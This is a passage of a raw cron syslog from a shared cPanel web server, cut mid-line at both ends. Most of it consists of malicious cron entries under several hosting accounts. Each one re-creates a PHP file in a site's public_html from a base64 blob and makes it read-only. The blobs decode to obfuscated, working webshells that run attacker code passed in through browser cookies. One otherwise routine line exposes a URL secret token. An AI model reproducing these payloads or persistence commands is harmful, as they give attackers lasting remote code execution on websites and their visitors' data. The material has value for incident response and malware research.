XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:13:01 medusa CROND[31883]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 01:13:01 medusa CROND[31884]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 01:13:01 medusa CROND[31887]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 01:13:01 medusa CROND[31888]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 01:13:01 medusa CROND[31889]: (anam1e7) CMD (php -q "/home16/anam1e7/public_html/wp-cron.php")
Mar  2 01:13:01 medusa CROND[31891]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 01:13:01 medusa CROND[31896]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 01:13:01 medusa CROND[31901]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:13:01 medusa CROND[31902]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 01:13:01 medusa CROND[31903]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:13:01 medusa CROND[31905]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 01:13:01 medusa CROND[31906]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 01:13:01 medusa CROND[31907]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:14:01 medusa CROND[8649]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 01:14:01 medusa CROND[8787]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 01:14:01 medusa CROND[8789]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:14:01 medusa CROND[8794]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:14:01 medusa CROND[8795]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 01:14:01 medusa CROND[8796]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 01:14:01 medusa CROND[8797]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:14:01 medusa CROND[8801]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 01:14:01 medusa CROND[8802]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 01:14:01 medusa CROND[8803]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:14:01 medusa CROND[8804]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 01:14:01 medusa CROND[8793]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 01:14:01 medusa CROND[8809]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 01:15:01 medusa CROND[15318]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 01:15:01 medusa CROND[15327]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 01:15:01 medusa CROND[15363]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 01:15:01 medusa CROND[15497]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 01:15:01 medusa CROND[15531]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 01:15:01 medusa CROND[15532]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 01:15:01 medusa CROND[15530]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 01:15:01 medusa CROND[15538]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 01:15:01 medusa CROND[15540]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:15:01 medusa CROND[15558]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Mar  2 01:15:01 medusa CROND[15559]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3